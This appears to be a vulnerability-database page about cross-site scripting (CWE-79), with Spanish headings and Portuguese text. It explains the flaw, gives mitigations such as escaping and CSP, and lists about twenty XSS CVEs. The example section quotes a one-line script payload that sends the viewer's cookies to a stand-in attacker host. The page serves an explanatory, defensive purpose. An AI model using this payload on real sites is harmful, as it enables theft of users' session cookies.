Fallos del tipo CWE-79

30.305 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-63417HIGHA Stored Cross-Site Scripting (XSS) vulnerability in the chat functionality of the SelfBest platform 2023.3 allows authenticated attackers tEPSS 0.2%CVE-2024-13577MEDIUMCATS Job Listings <= 2.0.9 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-9344MEDIUMUsersWP <= 1.2.42 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-4419MEDIUMFetch JFT <= 1.8.3 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-13455MEDIUMigumbi Online Booking <= 1.40 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-3901MEDIUMBootstrap Site Alert - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-042EPSS 0.2%CVE-2024-39923MEDIUMAn issue was discovered in Mahara 24.04 before 24.04.2 and 23.04 before 23.04.7. The About, Contact, and Help footer links can be set up to EPSS 0.2%CVE-2026-24973HIGHWordPress CitiLights theme <= 3.7.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-13582MEDIUMSimple Pricing Tables For WPBakery Page Builder(Formerly Visual Composer) <= 1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-13549MEDIUMAll Bootstrap Blocks <= 1.3.26 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-70891MEDIUMA stored cross-site scripting (XSS) vulnerability exists in Phpgurukul Cyber Cafe Management System v1.0 within the user management module. EPSS 0.2%CVE-2025-8619MEDIUMOSM Map Widget for Elementor <= 1.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button URLEPSS 0.2%CVE-2025-5123MEDIUMContact Us Page – Contact People <= 3.7.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via style ParameterEPSS 0.2%CVE-2025-13731MEDIUMNexter Extension <= 4.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2024-13579MEDIUMWP-Asambleas <= 2.85.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-5540MEDIUMEvent RSVP and Simple Event Management Plugin <= 4.1.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-2222MEDIUMcode-projects Online Reviewer System btn_functions.php cross site scriptingEPSS 0.2%CVE-2025-49053MEDIUMWordPress WP Airdrop Manager plugin <= 1.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-13751MEDIUM3D Photo Gallery <= 1.3 - Missing Authorization to Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-14722MEDIUMvion707 DMadmin Backend AddonsController.class.php add cross site scriptingEPSS 0.2%